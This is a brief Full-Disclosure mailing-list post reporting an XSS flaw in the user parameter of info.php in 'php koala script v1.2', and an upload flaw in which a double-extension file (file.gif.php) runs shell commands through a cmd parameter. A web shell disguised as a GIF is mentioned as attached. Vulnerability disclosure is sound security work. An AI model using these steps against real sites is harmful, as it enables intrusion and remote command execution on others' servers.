[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] xss in php koala script v1.2

xss
/info.php?user=<xss>
 
and an upload vulnerability if you upload a file named file.gif.php
/upload/file.gif.php?cmd=ls
 
file.gif.php is attached

Attachment: file.gif.php
Description: GIF image

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/